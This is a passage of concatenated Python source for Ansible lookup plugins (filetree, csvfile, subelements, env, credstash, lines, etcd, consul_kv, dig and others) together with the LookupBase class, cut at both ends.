    instances, and specifying complex args in a playbook leaves
    you with unicode instances.  This method currently assumes
    that your filesystem encoding is UTF-8.

    '''
    if isinstance(path, unicode):
        path = path.encode("utf-8")
    return path

# If selinux fails to find a default, return an array of None
def selinux_context(path):
    context = [None, None, None, None]
    if HAVE_SELINUX and selinux.is_selinux_enabled():
        try:
            ret = selinux.lgetfilecon_raw(_to_filesystem_str(path))
        except OSError:
            return context
        if ret[0] != -1:
            # Limit split to 4 because the selevel, the last in the list,
            # may contain ':' characters
            context = ret[1].split(':', 3)
    return context

def file_props(root, path):
    ''' Returns dictionary with file properties, or return None on failure '''
    abspath = os.path.join(root, path)

    try:
        st = os.lstat(abspath)
    except OSError as e:
        warning('filetree: Error using stat() on path %s (%s)' % (abspath, e))
        return None

    ret = dict(root=root, path=path)

    if stat.S_ISLNK(st.st_mode):
        ret['state'] = 'link'
        ret['src'] = os.readlink(abspath)
    elif stat.S_ISDIR(st.st_mode):
        ret['state'] = 'directory'
    elif stat.S_ISREG(st.st_mode):
        ret['state'] = 'file'
        ret['src'] = abspath
    else:
        warning('filetree: Error file type of %s is not supported' % abspath)
        return None

    ret['uid'] = st.st_uid
    ret['gid'] = st.st_gid
    try:
        ret['owner'] = pwd.getpwuid(st.st_uid).pw_name
    except KeyError:
        ret['owner'] = st.st_uid
    try:
        ret['group'] = grp.getgrgid(st.st_gid).gr_name
    except KeyError:
        ret['group'] = st.st_gid
    ret['mode'] = str(oct(stat.S_IMODE(st.st_mode)))
    ret['size'] = st.st_size
    ret['mtime'] = st.st_mtime
    ret['ctime'] = st.st_ctime

    if HAVE_SELINUX and selinux.is_selinux_enabled() == 1:
        context = selinux_context(abspath)
        ret['seuser'] = context[0]
        ret['serole'] = context[1]
        ret['setype'] = context[2]
        ret['selevel'] = context[3]

    return ret


class LookupModule(LookupBase):

    def run(self, terms, variables=None, **kwargs):
        basedir = self.get_basedir(variables)

        ret = []
        for term in terms:
            term_file = os.path.basename(term)
            dwimmed_path = self._loader.path_dwim_relative(basedir, 'files', os.path.dirname(term))
            path = os.path.join(dwimmed_path, term_file)
            for root, dirs, files in os.walk(path, topdown=True):
                for entry in dirs + files:
                    relpath = os.path.relpath(os.path.join(root, entry), path)

                    # Skip if relpath was already processed (from another root)
                    if relpath not in [ entry['path'] for entry in ret ]:
                        props = file_props(path, relpath)
                        if props is not None:
                            ret.append(props)

        return ret





# (c) 2013, Bradley Young <young.bradley@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from itertools import product

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.listify import listify_lookup_plugin_terms

class LookupModule(LookupBase):
    """
    Create the cartesian product of lists
    [1, 2, 3], [a, b] -> [1, a], [1, b], [2, a], [2, b], [3, a], [3, b]
    """

    def _lookup_variables(self, terms):
        """
        Turn this:
            terms == ["1,2,3", "a,b"]
        into this:
            terms == [[1,2,3], [a, b]]
        """
        results = []
        for x in terms:
            intermediate = listify_lookup_plugin_terms(x, templar=self._templar, loader=self._loader)
            results.append(intermediate)
        return results

    def run(self, terms, variables=None, **kwargs):

        terms = self._lookup_variables(terms)

        my_list = terms[:]
        if len(my_list) == 0:
            raise AnsibleError("with_cartesian requires at least one element in each list")

        return [self._flatten(x) for x in product(*my_list)]







# (c) 2013, Jan-Piet Mens <jpmens(at)gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import codecs
import csv

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.unicode import to_bytes, to_str, to_unicode

class CSVRecoder:
    """
    Iterator that reads an encoded stream and reencodes the input to UTF-8
    """
    def __init__(self, f, encoding='utf-8'):
        self.reader = codecs.getreader(encoding)(f)

    def __iter__(self):
        return self

    def next(self):
        return self.reader.next().encode("utf-8")

class CSVReader:
    """
    A CSV reader which will iterate over lines in the CSV file "f",
    which is encoded in the given encoding.
    """

    def __init__(self, f, dialect=csv.excel, encoding='utf-8', **kwds):
        f = CSVRecoder(f, encoding)
        self.reader = csv.reader(f, dialect=dialect, **kwds)

    def next(self):
        row = self.reader.next()
        return [to_unicode(s) for s in row]

    def __iter__(self):
        return self

class LookupModule(LookupBase):

    def read_csv(self, filename, key, delimiter, encoding='utf-8', dflt=None, col=1):

        try:
            f = open(filename, 'r')
            creader = CSVReader(f, delimiter=to_bytes(delimiter), encoding=encoding)

            for row in creader:
                if row[0] == key:
                    return row[int(col)]
        except Exception as e:
            raise AnsibleError("csvfile: %s" % to_str(e))

        return dflt

    def run(self, terms, variables=None, **kwargs):

        ret = []

        for term in terms:
            params = term.split()
            key = params[0]

            paramvals = {
                'col' : "1",          # column to return
                'default' : None,
                'delimiter' : "TAB",
                'file' : 'ansible.csv',
                'encoding' : 'utf-8',
            }

            # parameters specified?
            try:
                for param in params[1:]:
                    name, value = param.split('=')
                    assert(name in paramvals)
                    paramvals[name] = value
            except (ValueError, AssertionError) as e:
                raise AnsibleError(e)

            if paramvals['delimiter'] == 'TAB':
                paramvals['delimiter'] = "\t"

            lookupfile = self.find_file_in_search_path(variables, 'files', paramvals['file'])
            var = self.read_csv(lookupfile, key, paramvals['delimiter'], paramvals['encoding'], paramvals['default'], paramvals['col'])
            if var is not None:
                if type(var) is list:
                    for v in var:
                        ret.append(v)
                else:
                    ret.append(var)
        return ret






# (c) 2013, Serge van Ginderachter <serge@vanginderachter.be>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import string_types
from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.listify import listify_lookup_plugin_terms
from ansible.utils.boolean import boolean

FLAGS = ('skip_missing',)


class LookupModule(LookupBase):

    def run(self, terms, variables, **kwargs):

        def _raise_terms_error(msg=""):
            raise AnsibleError(
                "subelements lookup expects a list of two or three items, "
                + msg)

        terms[0] = listify_lookup_plugin_terms(terms[0], templar=self._templar, loader=self._loader)

        # check lookup terms - check number of terms
        if not isinstance(terms, list) or not 2 <= len(terms) <= 3:
            _raise_terms_error()

        # first term should be a list (or dict), second a string holding the subkey
        if not isinstance(terms[0], (list, dict)) or not isinstance(terms[1], string_types):
            _raise_terms_error("first a dict or a list, second a string pointing to the subkey")
        subelements = terms[1].split(".")

        if isinstance(terms[0], dict):  # convert to list:
            if terms[0].get('skipped', False) is not False:
                # the registered result was completely skipped
                return []
            elementlist = []
            for key in terms[0].iterkeys():
                elementlist.append(terms[0][key])
        else:
            elementlist = terms[0]

        # check for optional flags in third term
        flags = {}
        if len(terms) == 3:
            flags = terms[2]
        if not isinstance(flags, dict) and not all([isinstance(key, string_types) and key in FLAGS for key in flags]):
            _raise_terms_error("the optional third item must be a dict with flags %s" % FLAGS)

        # build_items
        ret = []
        for item0 in elementlist:
            if not isinstance(item0, dict):
                raise AnsibleError("subelements lookup expects a dictionary, got '%s'" % item0)
            if item0.get('skipped', False) is not False:
                # this particular item is to be skipped
                continue

            skip_missing = boolean(flags.get('skip_missing', False))
            subvalue = item0
            lastsubkey = False
            sublist = []
            for subkey in subelements:
                if subkey == subelements[-1]:
                    lastsubkey = True
                if not subkey in subvalue:
                    if skip_missing:
                        continue
                    else:
                        raise AnsibleError("could not find '%s' key in iterated item '%s'" % (subkey, subvalue))
                if not lastsubkey:
                    if not isinstance(subvalue[subkey], dict):
                        if skip_missing:
                            continue
                        else:
                            raise AnsibleError("the key %s should point to a dictionary, got '%s'" % (subkey, subvalue[subkey]))
                    else:
                        subvalue = subvalue[subkey]
                else:  # lastsubkey
                    if not isinstance(subvalue[subkey], list):
                        raise AnsibleError("the key %s should point to a list, got '%s'" % (subkey, subvalue[subkey]))
                    else:
                        sublist = subvalue.pop(subkey, [])
            for item1 in sublist:
                ret.append((item0, item1))

        return ret







# (c) 2012, Daniel Hokka Zakrisson <daniel@hozac.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.plugins.lookup import LookupBase

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class LookupModule(LookupBase):

    def run(self, terms, variables=None, **kwargs):

        ret = []

        for term in terms:
            display.debug("File lookup term: %s" % term)

            # Find the file in the expected search path
            lookupfile = self.find_file_in_search_path(variables, 'files', term)
            display.vvvv(u"File lookup using %s as file" % lookupfile)
            try:
                if lookupfile:
                    contents, show_data = self._loader._get_file_contents(lookupfile)
                    ret.append(contents.rstrip())
                else:
                    raise AnsibleParserError()
            except AnsibleParserError:
                raise AnsibleError("could not locate file in lookup: %s" % term)

        return ret






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.lookup import LookupBase

class LookupModule(LookupBase):

    def run(self, terms, **kwargs):

        return self._flatten(terms)







# (c) 2012, Jan-Piet Mens <jpmens(at)gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.plugins.lookup import LookupBase

class LookupModule(LookupBase):

    def run(self, terms, variables, **kwargs):

        ret = []
        for term in terms:
            var = term.split()[0]
            ret.append(os.getenv(var, ''))

        return ret






# (c) 2015, Ensighten <infra@ensighten.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase

CREDSTASH_INSTALLED = False

try:
    import credstash
    CREDSTASH_INSTALLED = True
except ImportError:
    CREDSTASH_INSTALLED = False


class LookupModule(LookupBase):
    def run(self, terms, variables, **kwargs):

        if not CREDSTASH_INSTALLED:
            raise AnsibleError('The credstash lookup plugin requires credstash to be installed.')

        ret = []
        for term in terms:
            try:
                version = kwargs.pop('version', '')
                region = kwargs.pop('region', None)
                table = kwargs.pop('table', 'credential-store')
                val = credstash.getSecret(term, version, region, table,
                                          context=kwargs)
            except credstash.ItemNotFound:
                raise AnsibleError('Key {0} not found'.format(term))
            except Exception as e:
                raise AnsibleError('Encountered exception while fetching {0}: {1}'.format(term, e.message))
            ret.append(val)

        return ret






# (c) 2013, Serge van Ginderachter <serge@vanginderachter.be>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import string_types
from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.listify import listify_lookup_plugin_terms

class LookupModule(LookupBase):

    def _check_list_of_one_list(self, term):
        # make sure term is not a list of one (list of one..) item
        # return the final non list item if so

        if isinstance(term,list) and len(term) == 1:
            term = term[0]
            if isinstance(term,list):
                term = self._check_list_of_one_list(term)

        return term

    def _do_flatten(self, terms, variables):

        ret = []
        for term in terms:
            term = self._check_list_of_one_list(term)

            if term == 'None' or term == 'null':
                # ignore undefined items
                break

            if isinstance(term, string_types):
                # convert a variable to a list
                term2 = listify_lookup_plugin_terms(term, templar=self._templar, loader=self._loader)
                # but avoid converting a plain string to a list of one string
                if term2 != [ term ]:
                    term = term2

            if isinstance(term, list):
                # if it's a list, check recursively for items that are a list
                term = self._do_flatten(term, variables)
                ret.extend(term)
            else:
                ret.append(term)

        return ret


    def run(self, terms, variables, **kwargs):

        if not isinstance(terms, list):
            raise AnsibleError("with_flattened expects a list")

        return self._do_flatten(terms, variables)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from abc import ABCMeta, abstractmethod

from ansible.compat.six import with_metaclass
from ansible.errors import AnsibleFileNotFound

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['LookupBase']


class LookupBase(with_metaclass(ABCMeta, object)):
    def __init__(self, loader=None, templar=None, **kwargs):
        self._loader = loader
        self._templar = templar
        # Backwards compat: self._display isn't really needed, just import the global display and use that.
        self._display = display

    def get_basedir(self, variables):
        if 'role_path' in variables:
            return variables['role_path']
        else:
            return self._loader.get_basedir()

    @staticmethod
    def _flatten(terms):
        ret = []
        for term in terms:
            if isinstance(term, (list, tuple)):
                ret.extend(term)
            else:
                ret.append(term)
        return ret

    @staticmethod
    def _combine(a, b):
        results = []
        for x in a:
            for y in b:
                results.append(LookupBase._flatten([x,y]))
        return results

    @staticmethod
    def _flatten_hash_to_list(terms):
        ret = []
        for key in terms:
            ret.append({'key': key, 'value': terms[key]})
        return ret

    @abstractmethod
    def run(self, terms, variables=None, **kwargs):
        """
        When the playbook specifies a lookup, this method is run.  The
        arguments to the lookup become the arguments to this method.  One
        additional keyword argument named ``variables`` is added to the method
        call.  It contains the variables available to ansible at the time the
        lookup is templated.  For instance::

            "{{ lookup('url', 'https://toshio.fedorapeople.org/one.txt', validate_certs=True) }}"

        would end up calling the lookup plugin named url's run method like this::
            run(['https://toshio.fedorapeople.org/one.txt'], variables=available_variables, validate_certs=True)

        Lookup plugins can be used within playbooks for looping.  When this
        happens, the first argument is a list containing the terms.  Lookup
        plugins can also be called from within playbooks to return their
        values into a variable or parameter.  If the user passes a string in
        this case, it is converted into a list.

        Errors encountered during execution should be returned by raising
        AnsibleError() with a message describing the error.

        Any strings returned by this method that could ever contain non-ascii
        must be converted into python's unicode type as the strings will be run
        through jinja2 which has this requirement.  You can use::

            from ansible.utils.unicode import to_unicode
            result_string = to_unicode(result_string)
        """
        pass

    def find_file_in_search_path(self, myvars, subdir, needle):
        '''
        Return a file (needle) in the task's expected search path.
        '''

        if 'ansible_search_path' in myvars:
            paths = myvars['ansible_search_path']
        else:
            paths = self.get_basedir(myvars)

        result = self._loader.path_dwim_relative_stack(paths, subdir, needle)
        if result is None:
            raise AnsibleFileNotFound("Unable to find '%s' in expected paths." % needle)

        return result






# (c) 2014, Kent R. Spillner <kspillner@acm.org>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import collections

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase

class LookupModule(LookupBase):

    def run(self, terms, varibles=None, **kwargs):

        # Expect any type of Mapping, notably hostvars
        if not isinstance(terms, collections.Mapping):
            raise AnsibleError("with_dict expects a dict")

        return self._flatten_hash_to_list(terms)






# (c) 2012, Daniel Hokka Zakrisson <daniel@hozac.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import subprocess
from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase

class LookupModule(LookupBase):

    def run(self, terms, variables, **kwargs):

        ret = []
        for term in terms:
            p = subprocess.Popen(term, cwd=self._loader.get_basedir(), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
            (stdout, stderr) = p.communicate()
            if p.returncode == 0:
                ret.extend(stdout.splitlines())
            else:
                raise AnsibleError("lookup_plugin.lines(%s) returned %d" % (term, p.returncode))
        return ret






# (c) 2013, Jan-Piet Mens <jpmens(at)gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

try:
    import json
except ImportError:
    import simplejson as json

from ansible.plugins.lookup import LookupBase
from ansible.module_utils.urls import open_url

# this can be made configurable, not should not use ansible.cfg
ANSIBLE_ETCD_URL = 'http://127.0.0.1:4001'
if os.getenv('ANSIBLE_ETCD_URL') is not None:
    ANSIBLE_ETCD_URL = os.environ['ANSIBLE_ETCD_URL']

ANSIBLE_ETCD_VERSION = 'v1'
if os.getenv('ANSIBLE_ETCD_VERSION') is not None:
    ANSIBLE_ETCD_URL = os.environ['ANSIBLE_ETCD_VERSION']

class Etcd:
    def __init__(self, url=ANSIBLE_ETCD_URL, version=ANSIBLE_ETCD_VERSION,
                 validate_certs=True):
        self.url = url
        self.version = version
        self.baseurl = '%s/%s/keys' % (self.url,self.version)
        self.validate_certs = validate_certs

    def get(self, key):
        url = "%s/%s" % (self.baseurl, key)

        data = None
        value = ""
        try:
            r = open_url(url, validate_certs=self.validate_certs)
            data = r.read()
        except:
            return value

        try:
            # {"action":"get","key":"/name","value":"Jane Jolie","index":5}
            item = json.loads(data)
            if self.version == 'v1':
                if 'value' in item:
                    value = item['value']
            else:
                if 'node' in item:
                    value = item['node']['value']

            if 'errorCode' in item:
                value = "ENOENT"
        except:
            raise
            pass

        return value

class LookupModule(LookupBase):

    def run(self, terms, variables, **kwargs):

        validate_certs = kwargs.get('validate_certs', True)

        etcd = Etcd(validate_certs=validate_certs)

        ret = []
        for term in terms:
            key = term.split()[0]
            value = etcd.get(key)
            ret.append(value)
        return ret






# (c) 2015, Steve Gargan <steve.gargan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

'''
Lookup plugin to grab metadata from a consul key value store.
============================================================

Plugin will lookup metadata for a playbook from the key value store in a
consul cluster. Values can be easily set in the kv store with simple rest
commands e.g.

curl -X PUT -d 'some-value' http://localhost:8500/v1/kv/ansible/somedata

this can then be looked up in a playbook as follows

- debug: msg='key contains {{item}}'
  with_consul_kv:
    - 'key/to/retrieve'


Parameters can be provided after the key be more specific about what to retrieve e.g.

- debug: msg='key contains {{item}}'
  with_consul_kv:
    - 'key/to recurse=true token=E6C060A9-26FB-407A-B83E-12DDAFCB4D98')}}'

recurse: if true, will retrieve all the values that have the given key as prefix
index: if the key has a value with the specified index then this is returned
       allowing access to historical values.
token: acl token to allow access to restricted values.

By default this will lookup keys via the consul agent running on http://localhost:8500
this can be changed by setting the env variable 'ANSIBLE_CONSUL_URL' to point to the url
of the kv store you'd like to use.

'''

######################################################################

import os
import sys
from urlparse import urlparse
from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase

try:
    import json
except ImportError:
    import simplejson as json

try:
    import consul
    HAS_CONSUL = True
except ImportError as e:
    HAS_CONSUL = False


class LookupModule(LookupBase):

    def __init__(self, loader=None, templar=None, **kwargs):

        super(LookupModule, self).__init__(loader, templar, **kwargs)

        self.agent_url = 'http://localhost:8500'
        if os.getenv('ANSIBLE_CONSUL_URL') is not None:
            self.agent_url = os.environ['ANSIBLE_CONSUL_URL']

    def run(self, terms, variables=None, **kwargs):

        if not HAS_CONSUL:
            raise AnsibleError('python-consul is required for consul_kv lookup. see http://python-consul.readthedocs.org/en/latest/#installation')

        u = urlparse(self.agent_url)
        consul_api = consul.Consul(host=u.hostname, port=u.port)

        values = []
        try:
            for term in terms:
                params = self.parse_params(term)
                results = consul_api.kv.get(params['key'],
                                            token=params['token'],
                                            index=params['index'],
                                            recurse=params['recurse'])
                if results[1]:
                    # responds with a single or list of result maps
                    if isinstance(results[1], list):
                        for r in results[1]:
                            values.append(r['Value'])
                    else:
                        values.append(results[1]['Value'])
        except Exception as e:
            raise AnsibleError(
                "Error locating '%s' in kv store. Error was %s" % (term, e))

        return values

    def parse_params(self, term):
        params = term.split(' ')

        paramvals = {
            'key': params[0],
            'token': None,
            'recurse': False,
            'index': None
        }

        # parameters specified?
        try:
            for param in params[1:]:
                if param and len(param) > 0:
                    name, value = param.split('=')
                    assert name in paramvals, "% not a valid consul lookup parameter" % name
                    paramvals[name] = value
        except (ValueError, AssertionError) as e:
            raise AnsibleError(e)

        return paramvals






# (c) 2015, Jan-Piet Mens <jpmens(at)gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
import socket

try:
    import dns.resolver
    import dns.reversename
    from dns.rdatatype import (A, AAAA, CNAME, DLV, DNAME, DNSKEY, DS, HINFO, LOC,
            MX, NAPTR, NS, NSEC3PARAM, PTR, RP, SOA, SPF, SRV, SSHFP, TLSA, TXT)
    import dns.exception
    HAVE_DNS = True
except ImportError:
    HAVE_DNS = False

def make_rdata_dict(rdata):
    ''' While the 'dig' lookup plugin supports anything which dnspython supports
        out of the box, the following supported_types list describes which
        DNS query types we can convert to a dict.

        Note: adding support for RRSIG is hard work. :)
    '''
    supported_types = {
            A           : ['address'],
            AAAA        : ['address'],
            CNAME       : ['target'],
            DNAME       : ['target'],
            DLV         : ['algorithm', 'digest_type', 'key_tag', 'digest'],
            DNSKEY      : ['flags', 'algorithm', 'protocol', 'key'],
            DS          : ['algorithm', 'digest_type', 'key_tag', 'digest'],
            HINFO       : ['cpu', 'os'],
            LOC         : ['latitude', 'longitude', 'altitude', 'size', 'horizontal_precision', 'vertical_precision'],
            MX          : ['preference', 'exchange'],
            NAPTR       : ['order', 'preference', 'flags', 'service', 'regexp', 'replacement'],
            NS          : ['target'],
            NSEC3PARAM  : ['algorithm', 'flags', 'iterations', 'salt'],
            PTR         : ['target'],
            RP          : ['mbox', 'txt'],
            # RRSIG       : ['algorithm', 'labels', 'original_ttl', 'expiration', 'inception', 'signature'],
            SOA         : ['mname', 'rname', 'serial', 'refresh', 'retry', 'expire', 'minimum'],
            SPF         : ['strings'],
            SRV         : ['priority', 'weight', 'port', 'target'],
            SSHFP       : ['algorithm', 'fp_type', 'fingerprint'],
            TLSA        : ['usage', 'selector', 'mtype', 'cert'],
            TXT         : ['strings'],
        }

    rd = {}

    if rdata.rdtype in supported_types:
        fields = supported_types[rdata.rdtype]
        for f in fields:
            val     = rdata.__getattribute__(f)

            if type(val) == dns.name.Name:
                val = dns.name.Name.to_text(val)

            if rdata.rdtype == DLV and f == 'digest':
                val = dns.rdata._hexify(rdata.digest).replace(' ', '')
            if rdata.rdtype == DS and f == 'digest':
                val = dns.rdata._hexify(rdata.digest).replace(' ', '')
            if rdata.rdtype == DNSKEY and f == 'key':
                val = dns.rdata._base64ify(rdata.key).replace(' ', '')
            if rdata.rdtype == NSEC3PARAM and f == 'salt':
                val = dns.rdata._hexify(rdata.salt).replace(' ', '')
            if rdata.rdtype == SSHFP and f == 'fingerprint':
                val = dns.rdata._hexify(rdata.fingerprint).replace(' ', '')
            if rdata.rdtype == TLSA and f == 'cert':
                val = dns.rdata._hexify(rdata.cert).replace(' ', '')


            rd[f]   = val

    return rd

# ==============================================================
# dig: Lookup DNS records
#
# --------------------------------------------------------------

class LookupModule(LookupBase):

    def run(self, terms, variables=None, **kwargs):

        '''
        terms contains a string with things to `dig' for. We support the
        following formats:
            example.com                                     # A record
            example.com  qtype=A                            # same
            example.com/TXT                                 # specific qtype
            example.com  qtype=txt                          # same
            192.168.1.2/PTR                                 # reverse PTR
              ^^ shortcut for 2.1.168.192.in-addr.arpa/PTR
            example.net/AAAA  @nameserver                   # query specified server
                               ^^^ can be comma-sep list of names/addresses

            ... flat=0                                      # returns a dict; default is 1 == string
        '''

        if HAVE_DNS == False:
            raise AnsibleError("Can't LOOKUP(dig): module dns.resolver is not installed")

        # Create Resolver object so that we can set NS if necessary
        myres = dns.resolver.Resolver()
        edns_size = 4096
        myres.use_edns(0, ednsflags=dns.flags.DO, payload=edns_size)

        domain = None
        qtype  = 'A'
        flat   = True

        for t in terms:
            if t.startswith('@'):       # e.g. "@10.0.1.2,192.168.1.1" is ok.
                nsset = t[1:].split(',')
                nameservers = []
                for ns in nsset:
                    # Check if we have a valid IP address. If so, use that, otherwise
                    # try to resolve name to address using system's resolver. If that
                    # fails we bail out.
                    try:
                        socket.inet_aton(ns)
                        nameservers.append(ns)
                    except:
                        try:
                            nsaddr = dns.resolver.query(ns)[0].address
                            nameservers.append(nsaddr)
                        except Exception as e:
